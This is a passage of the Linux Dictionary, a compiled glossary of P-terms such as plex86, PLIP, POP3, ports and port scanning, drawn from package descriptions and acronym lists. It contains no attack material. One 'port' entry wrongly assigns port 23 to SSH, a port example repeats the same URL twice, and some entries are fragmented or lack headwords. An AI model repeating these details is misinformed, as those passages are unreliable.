PC virtualization program to run x86 operating systems. Plex86 is an extensible free PC virtualization software program which will allow PC and workstation users to run multiple operating systems concurrently on the same machine. Plex86 is able to run several operating systems, including MSDOS, FreeDOS, Windows9x/NT, GNU/Linux, FreeBSD and NetBSD. It will run as much of the operating system and application software natively as possible, the rest being emulated by the PC virtualization monitor. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plex86-kernel-src

kernel code for Plex86 This package includes sources of the Plex86 kernel code. You can use them to build the linux module required to run Plex86. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLI

Programming Language One (DEC), "PL/I" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plib1

Portability Libraries: Run-time package, stable release Provides a Joystick interface, a simple GUI built on top of OpenGL, some standard geometry functions, a sound library and a simple scene graph

API built on top of OpenGL. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plib1.5

Portability Libraries: Run-time package, unstable release Provides a Joystick interface, a simple GUI built on top of OpenGL, some standard geometry functions, a sound library and a simple scene graph API built on top of OpenGL. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLIP

Parallel Line Internet Protocol (IP), "PL/IP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLIP

see parallel line Internet protocol (PLIP). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plipconfig

fine tune PLIP device parameters From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLL

Phase Locked Loop From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plld

Create a SWI-Prolog embedded executable From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLM

Programming Language for Microcomputers From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLMN

Public Land Mobile Network (mobile-systems, GSM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pload

Program to monitor network device statistics Pload is a program to monitor ppp network device statistics and graphs information using Athena stripchart widgets. It can monitor any device that reports statistics to /proc/net/dev including ethernet, plip, loopback etc. It shows totals and current rates for a given ppp interface and is customizable to show using X resources. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plog

starts up, shuts down or lists the log of PPP connections From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLONK

Please Leave Our Newsgroup, Kid (Usenet, slang) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ploticus

A script driven business graphics package Ploticus is script-driven, which makes it suitable for automated, unattended uses, or for applications that will be run again and again. In general, ploticus is good at making graphs like you would see in newspapers and news magazines, business publications, journals for medical and social sciences, and so on. Ploticus is not a function or mathematical plotting package like gnuplot, nor would it be a good choice for applications where mathematical formulas or scientific notations are to be rendered as an integral part of the data display. Ploticus is also not intended as a "marketing" graphics package. Its goal is to display data crisply without extra decoration and distracting "dingbats" that cloud the picture. Ploticus supports a wide range of output options, including jpeg (Joint Photographics Experts Group format), png (Portable Network Graphics format), svg (Simple Vector Graphics), bmp (Microsoft BitMaP), ps (PostScript), and X11. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plotmtv

multipurpose X11 plotting program. PLOTMTV's capabilities include 2D line and scatter plots (x-vs-y), contour plots, 3D surface, line and scatter plots as well as vector plots. The program has an rough but functional Graphical User Interface, through which it is possible to zoom in, zoom out, pan, toggle between 2D and 3D plots, and rotate 3D plots. Both color and grayscale postscript output are supported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plotutils

The GNU plotutils (plotting utilities) package. The GNU plotting utilities include programs for plotting two-dimensional scientific data. They are built on top of GNU `libplot', a library for device-independent two-dimensional vector graphics. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLOU

Physical Layer Overhead Unit (UNI), "PL-OU" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLP

Packet Layer Protocol (X.25) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLP

Party Line Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLP

Presentation Level Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plplot

Scientific plotting library PLplot is relatively small, portable, freely distributable, and is rich enough to satisfy most users. It has a wide range of plot types including line (linear, log), contour, 3D, fill, and almost 1000 characters (including Greek and mathematical) in its extended font set. The package is designed to make it easy to quickly get graphical output; only a handful of function calls is typically required. For more advanced use, virtually all aspects of plotting are configurable. APIs are provided for C, C++, and Fortran (Tcl/Tk bindings are available in a separate package plplot-tcl). A program for rendering Tektronix vector files is also included in this package. See <http://emma.la.asu.edu/plplot> for more information on PLplot. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plplot-tcl

Tcl/Tk support for PLplot, a plotting library This package contains the Tcl/Tk support for PLplot, a scientific plotting library: shared and static libraries, Tcl modules, some programs for interactive use of PLplot (plrender, plserver, and pltcl), and utility programs for converting PLplot meta files (plpr and plm2gif). See <http://emma.la.asu.edu/plplot> for more information on PLplot. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plptools

Access Psion series 5 over a serial link This package lets you access Psion drives over a serial link. You can mount them, pseudo NFS style, or access them via ftp-like commands. The software is partially based on p3nfs, which is also packed for Debian, but plptools uses the native Psion protocol, whereas p3nfs requires a program to be installed on the Psion. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plrc

SWI-Prolog resource archiver From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLS

Personal Library Systems (manufacturer) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLS

- PLS** Physical Signaling From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PLS** Programmable Logic Sequencer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PLT** Procedure Linkage Table From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pltotf** convert property list files to TeX font metric (tfm) format From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- plucker** Pluck stuff from the web and read on your PalmOS device Plucks stuff from the web (or any URL), and encodes them appropriately for viewing on a PalmOS device. Very flexible in the way sites are plucked, e.g. link depth, images etc. Includes the PalmOS viewer program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- plug and play (PnP)** Legacy hardware communication standard that allows computer systems to automatically configure installed system components without user intervention or manual configuration. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- Plug-in** A (usually small) piece of software that adds features to a larger piece of software. Common examples are plug-ins for the Netscape. browser and web server. Adobe Photoshop. also uses plug-ins. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pluggable authentication modules (PAM)** Method that allows a system administrator to set access and authentication policies without having to separately recompile individual programs for such features. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- plum** IRC proxy, stationing, logging, and bot program (pirc). plum works as personal proxy, stationing, logging, and bot program on IRC (Internet Relay Chat). It has many modules, so the user can use a lot of functions. It is also easy to customize its configurations. Note that its documents are only available in Japanese. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PlumpOS** PlumpOS is a CD-based mini-openMosix/Linux distribution. Pop the CD into a 586+ computer and you have an instant openMosix node. It supports loading 3rd-party packages and adding custom kernels. It was originally a clone of Clump/os, but it turned into a complete rewrite. Version 6.9 RC1 was released March 27, 2003. A CD-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PLV** Presentation Level Video (DVI, Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- plwm** Window Manager Library for Python A window manager library for Python, with an example window manager. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM** Performance Management From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM** Peripheral Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM** Personal Message (BBS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM**
- P**

- PM** Physical Medium From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM** Presentation Manager (OS/2) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM** Privileged Mode (HP, MPE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PM** Protected Mode (Intel, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pm3** Polytechnique Montreal Modula-3 The Modula-3 distribution of Ecole Polytechnique de Montreal is based on the DEC SRC Modula-3 programming environment. Modula-3 is a systems programming language that descends from Mesa, Modula-2, Cedar, and Modula-2+. It also resembles its cousins Object Pascal, Oberon, and Euclid. The goal of Modula-3 is to be as simple and safe as it can be while meeting the needs of modern systems programmers. Instead of exploring new features, they studied the features of the Modula family of languages that have proven themselves in practice and tried to simplify them into a harmonious language. They found that most of the successful features were aimed at one of two main goals: greater robustness, and a simpler, more systematic type system. Modula-3 retains one of Modula-2's most successful features, the provision for explicit interfaces between modules. It adds objects and classes, exception handling, garbage collection, lightweight processes (or threads), and the isolation of unsafe features. A large number of platform independent libraries are available for easily constructing distributed, graphical, multi-threaded applications. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PMA** Physical Medium Attachment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PMA** Policy Management Architecture (Netmanage, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PMA** Program Memory Area (CD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PMAC** Packet Media Access Control (FDDI), "P-MAC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PMAC** Peripheral Module Access Controller From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pmake** 4.4BSD make (pmake). Pmake is a program designed to simplify the maintenance of other programs. Its input is a list of specifications as to the files upon which programs and other files depend. mkdep, a program to construct Makefile dependency lists, is also included. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pmap_dump** print a list of all registered RPC programs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pmap_set** library routines for remote procedure calls From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pmap_set**

set the list of registered RPC programs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Project Manager Workbench From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pmx

A Preprocessor for MusiXTeX PMX is a preprocessor for MusiXTeX that produces near-publication quality scores and parts with far less effort than would be required using MusiXTeX alone. Among the new features are several that facilitate detailed editing, for example fine-tuning positions of dots, ornaments, and xtuplet numbers. It now also generates MIDI output! Author: Don Simons <dsimons@logicon.com> URL: <http://icking-music-archive.sunsite.dk/musixtex/software/pmx/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PMX

Packet MultipleXer (MUX) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PMX

Presentation Manager for the X window system, "PM/X" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNG

Portable Network Graphics [format] (RFC 2083) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNG (Portable Network Graphics)

PNG is a graphics format specifically designed for use on the World Wide Web. PNG enable compression of images without any loss of quality, including high-resolution images. Another important feature of PNG is that anyone may create software that works with PNG images without paying any fees – the PNG standard is free of any licensing costs. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pngcrush

An optimizer for PNG (Portable Network Graphics) files. Pngcrush is an optimizer for PNG (Portable Network Graphics) files. Its main purpose is to reduce the size of the PNG IDAT datastream by trying various compression levels and PNG filter methods. It also can be used to remove unwanted ancillary

chunks, or to add certain chunks including gAMA, tRNS, and textual chunks. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pnm2ppa

Pnm2ppa is a color driver for HP PPA host-based printers such as the HP710C, 712C, 720C, 722C, 820Cse, 820Cxi, 1000Cse, and 1000Cxi. Pnm2ppa accepts Ghostscript output in PPM format and sends it to the printer in PPA format. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pnm2ppa

PPM to PPA converter Using pnm2ppa it's possible to run HP-GDI printers on Linux. These printers are normally "Windows-only" and use the PPA protocol which is proprietary. pnm2ppa supports color and is supposed to work faster than pbm2ppa. pnm2ppa supports the following printers: HP Deskjet 7XX Series, HP Deskjet 820 Series and HP Deskjet 1000 Series. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNNI

Private Network to Network Interface (ATM), "P-NNI" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNNI

[phase 0] Public Network Node Interface [protocol] (ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNP

Plug 'N Play (PNP), "PnP" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNPBIOS

Plug and Play Basic Input Output System (PNP, BIOS), "PnP BIOS" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNPN

Positive Negative Positive Negative [devices] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNS

PeaceNet Sweden (network) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pnsnscan

Multi threaded port scanner. Pnsnscan is a multi threaded port scanner that can scan a large network very quickly. If does not have all the features that nmap have but is much faster. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PNW

Personal NetWare (Novell, Netware) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

po-utils

Tool collection for handling PO files PO utilities is meant to become a collection of tools for handling PO files. Currently it contains just the xpot utility, which is a replacement for xgettext that can not only handle C and C++ source code, but also Python. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POACH

PC-On-A-Chip (PC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POC

Proof of Concept From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PocketLinux

Developed by Transvirtual Technologies, PocketLinux 1.0 was released January 18, 2001. Handhelds/PDA based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POCSAG

Linux Dictionary

Post Office Code Standard Advisory Group (org., SMS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POD

Plain Old Document [format] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POD

Print / Publishing On Demand, "PoD" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pod2html

convert .pod files to .html files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pod2latex

convert pod documentation to latex format From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pod2man

Convert POD data to formatted *roff input From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pod2text

Convert POD data to formatted ASCII text From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pod2usage

print usage messages from embedded pod docs in files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PODA

Piloting of ODA (ESPRIT, SNI, Bull, TITN, ICL, Olivetti, ODA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PODA

Priority Orientated Demand Assignment (MAC, TDM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

podchecker

check the syntax of POD format documentation files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

podselect

print selected sections of pod documentation on standard output From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POE

PowerOpen Association (Apple, IBM, Motorola, ..., org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

poedit

Cross-platform gettext catalog editor Generator for po to mo. It is built with wxWindows toolkit and can run on Unix or Windows. It aims to provide convenient way of editing gettext catalogs. It features UTF-8 support, fuzzy and untranslated records highlighting, whitespace highlighting, references browser, header editing and can be used to create new catalogs or update existing catalogs from source code with a single click. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POEM

Portable Object-orientated Entity Manager (SGML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POEMS

Platinum Open Enterprise Management System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POEP

Primary Operand Execution Pipeline (Motorola, CPU), "pOEP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POF

Plastic Optical Fiber (OWG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

poff

starts up, shuts down or lists the log of PPP connections From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POGO

Programmer-Oriented Graphics Operation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POH

Path OverHead (SONET) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POI

Path Overhead Indicator (SONET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POI

Point Of Information From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POI

Point Of Interaction (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

point-to-point protocol (PPP)

Successor to the serial line internet protocol (SLIP) protocol for computer system connectivity to TCP/IP networks. Commonly used in connecting to the Internet via dial-up modem. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pointerize

Internationalization utilities, based on gettext pointerize is a set of tools used to generate message catalogs from a set of specially formatted C source files. Those message catalogs are loaded at run-time, making it possible to have one binary that displays messages in several languages. It's based on gettext, but it makes smaller binary message catalogs (a must when one is making internationalized boot floppies). The programmer may use his gettextified C source files just applying one small change to the main() function. The translator will work with the well known PO format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POL

Problem / Procedure / Process Oriented Language From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

policy independence

A characteristic of the X window system in which windows can look and act any way the software developers want. This idea is the converse of the idea that, if all the windows on your screen look and act in a similar way, they will be easier for you to use. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PON

Passive Optical Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pon

starts up, shuts down or lists the log of PPP connections From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pong

Preference/Property dialogs maker for GNOME PonG is a library for making preference/property dialogs. By default it does very simple dialog layout, however you can also use glade to design parts of the dialogs. This package contains the dialog editor. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POOL

Parallel Object Orientated Language (DOOM, OOP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pooltype

display a WEB pool file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pop

/pop/ [from the operation that removes the top of a stack, and the fact that procedure return addresses are usually saved on the stack] (also capitalized `POP') 1. vt. To remove something from a stack or PDL. If a person says he/she has popped something from his stack, that means he/she has finally finished working on it and can now remove it from the list of things hanging overhead. 2. When a discussion gets to a level of detail so deep that the main point of the discussion is being lost, someone will shout "Pop!", meaning "Get back up to a higher level!" The shout is frequently accompanied by an upthrust arm with a finger pointing to the ceiling. 3. [all-caps, as `POP'] Point of Presence, a bank of dial-in lines allowing customers to make (local) calls into an ISP. This is borderline techspeak. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP

Package for Online Programming From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP

Point Of Presence (Internet, ISP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP

see post office protocol (POP). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP (Point of Presence, also Post Office Protocol)

Two commonly used meanings: Point of Presence and Post Office Protocol. A Point of Presence usually means a city or location where a network can be connected to, often with dial up phone lines. So if an Internet company says they will soon have a POP in Belgrade, it means that they will soon have a local phone number in Belgrade and/or a place where leased lines can connect to their network. A second meaning, Post Office Protocol refers to a way that e-mail client software such as Eudora gets mail from a mail server. When you obtain an account from an Internet Service Provider (ISP) you almost always get a POP account with it, and it is this POP account that you tell your e-mail software to use to get your mail. Another protocol called IMAP is replacing POP for email. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP (Post Office Protocol)

An Internet electronic mail standard that specifies how an Internet-connected computer can function as a mail-handling agent. Messages arrive at a user's electronic mailbox, which is housed on the service provider's comuter. From this central storage point, you can access your mail from different computers - a networked workstation in the office as well as a PC at home. In either case, a POP-compatible electronic mail program, which runs on your workstation or PC, establishes a connection with the POP server, and detects that new mail has arrived. You can then download the mail to the workstation or computer, and reply to it, print it, or store it, as you prefer. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pop-before-smtp

watch log for pop/imap auth, notify Postfix to allow relay Spam prevention requires preventing open relaying through email servers. However, legitimate users want to be able to relay. If legitimate users always stayed in one spot, they'd be easy to describe to the daemon. However, what with roving laptops, logins from home, etc., legitimate users refuse to stay in one spot. pop-before-smtp watches the mail log, looking for successful pop/imap logins, and posts the originating IP address into a database which can be checked by Postfix, to allow relaying for people who have recently downloaded their email. Contrary to other similar tools pop-before-smtp needs no hacking in the

mail daemons. On the other hand it requires the pop3/imap daemons to run on the same machine as pop-before-smtp and postfix. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP3

Post Office Protocol 3 (Internet, RFC 1939) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POP3 (Post Office Protocol v3)

This is the most popular protocol for picking up e-mail from a server. The e-mail client program will open a connection to port 110 on the server, then pull down each e-mail message from the server.

Key point: Since e-mail is one of the most popular services on the Internet, there are a huge number of different implementations of POP3 services. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pop3browser

Allows to check a pop3 mailbox before downloading any mail. It is intended to delete unwanted (SPAM) mails before downloading via a low-bandwidth connection. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

popa3d

A tiny POP3 daemon, designed with security as the primary goal popa3d is fast, small and secure pop3 daemon. It's written from scratch by Solar Designer for OWL (Openwall Gnu*/Linux). Popa3d can work both in standalone or inetd mode. For more information see DESIGN file. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

popauth

– manipulate POP authorization DB From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

popcheck

Small tool to view and delete messages on a pop3-server. Using this tool one can view sender, subject and size of messages and delete messages from a pop3-server without downloading them. It has nearly the same functionality as pop3browser, but with a ncurses gui. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Popmail

A program used to remotely read e-mail across a network, often used in conjunction with SLIP. The most commonly used version, Pop3, is described in RFC number 1081. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

poppassd

Password change server for Eudora and NUPOP This package provides a daemon for changing passwords on POP mail accounts, a feature common to Eudora and other MacOS/Win32 mail user agents. This feature is also commonly used for TCP loopback password changing from web scripting languages like PHP or Perl, so that the webserver process doesn't need to be run as root (on in the shadow group). This version of poppassd changes passwords via PAM (as opposed to other versions of the same daemon that used the newusers(8) application to change passwords), allowing for great flexibility. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

popt

Popt is a C library for parsing command line parameters. Popt was heavily influenced by the getopt() and getopt_long() functions, but it improves on them by allowing more powerful argument expansion. Popt can parse arbitrary argv[] style arrays and automatically set variables based on command line arguments. Popt allows command line arguments to be aliased via configuration files and includes utility functions for parsing arbitrary strings into argv[] arrays using shell-like rules. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

popularity-contest

Vote for your favourite packages automatically. When you install this package, it sets up a cron job that will anonymously e-mail the Debian developers periodically with statistics about your most used

Debian packages. This information helps us make decisions such as which packages should go on the first Debian CD. Also, we can improve future versions of Debian so that the most popular packages are the ones which are installed automatically for new users. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POR

Point Of Return (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Power-On Reset (BIOS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

port

1. A socket used to connect external peripherals such as keyboards, pointing devices, scanners, and printers to computer systems. 2. In a communications network, a logical channel which identifies a communications protocol, such as port 23 for Secure Shell (SSH) connections.

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Port

3 meanings. First and most generally, a place where information goes into or out of a computer, or both. E.g. the serial port on a personal computer is where a modem would be connected. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

port

In TCP/IP, a port is an extension of an Internet address that tells which program is to receive the data. In other words, if I send data to 192.0.2.111, port 110, then I'm talking to the POP3 e-mail service. However, if I send something to port 80 on the same machine, then I'm talking to the web server on that machine. Key point: I can have two URLs that look like <http://robertgraham.com/> and <http://robertgraham.com/>. These two URLs access different web server programs running on the same machine, one at port 80 and that other at port 90. Misconception: Many people believe that the port correctly identifies the protocol that runs on that port. For example, the port 110 has been assigned to the POP3 e-mail service. However, even though this is the correct port for the protocol, somebody could put a different service on this port, such as HTTP. In this example, I could then supply URLs that looked like <http://www.robertgraham.com:110/>. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

port

On the Internet port often refers to a number that is part of a URL, appearing after a colon (:) right after the domain name. Every service on an Internet server listens on a particular port number on that server. Most services have standard port numbers, e.g. Web servers normally listen on port 80. Services can also listen on non-standard ports, in which case the port number must be specified in a URL when accessing the server, so you might see a URL of the form: <gopher://peg.cwis.uci.edu:7000/> This shows a gopher server running on a non-standard port (the standard gopher port is 70). Finally, port also refers to translating a piece of software to bring it from one type of computer system to another, e.g. to translate a Windows program so that it will run on a Macintosh. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Port

On the Internet, port often refers to a number that is part of a URL, appearing after a colon (:) right after the domain name. Every service on an Internet server listens on a particular port number on that server. Most services have standard port numbers, e.g. Web servers normally listen on port 80. Services can also listen on non-standard ports, in which case the port number must be specified in a URL when accessing the server. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

port forwarding

To route all inbound traffic on a particular source port to one host on a network. Port forwarding is commonly implemented by a firewall. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

port scan

In hacker reconnaissance, a port scan attempts to connect to all 65536 ports on a machine in order to see if anybody is listening on those ports. Contrast: A stealth scan attempts to evade detection. The most common kind is a TCP half-open scan which fails to complete the three-way handshake. This prevents the application listening on a port from being notified that a connection attempt has taken place, so it won't log that fact. Most "stealth" scans attempt to evade logging on the host, but this makes more distinctive signatures that intrusion detection systems can detect. Key point: Ports scans are not illegal in many places, those laws have yet to be written on the subject. The Norwegian Supreme court ruled that they are not illegal because they don't actually compromise the system. There is also the technical problem that they can easily be spoofed, so it is hard to prove guilt. There is even the third problem that virtually any machine on the Internet can be tickled into scanning somebody else; the hacker doesn't break into that third party, but triggers special conditions that causes the effect of a port scan. Controversy: Many people think that port scanning is an overt hostile act and should be made illegal. Contrast: Full port scans of all 65536 ports are rarely seen, especially since they are so obvious. Instead, hackers will strobe for just the ports he/she is interested in. These strobes are for typically fewer than 10 ports. Also, the hacker will often sweep thousands (or millions) of machines rather than a single machine looking for any system that might be vulnerable. Tool: The best tool for doing port scans is nmap from <http://www.insecure.org/nmap>. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Port/Ported/Porting

The process of taking a program written for one operating system platform and modifying it to run on another OS with similar functionality. There is generally little or no attempt to customize the program to take advantage of the unique capabilities of the new operating system, as opposed to optimizing an application for a specific operating system. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Portable

A term referring to software that is designed to be use on more than one operating system with only minor modifications and recompilation. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portable

Pertaining to software that can be ported, or modified to run in another environment. Linux is an example of a portable system. Because all the programming that is hardware-specific is restricted to the kernel, a programmer can port Linux to a new computer system by changing only the kernel. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portable document format (PDF)

A file format for rendering document objects (including text) as images, making it possible to send formatted documents and have them appear on a recipient's monitor or printer as they are intended. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Portal

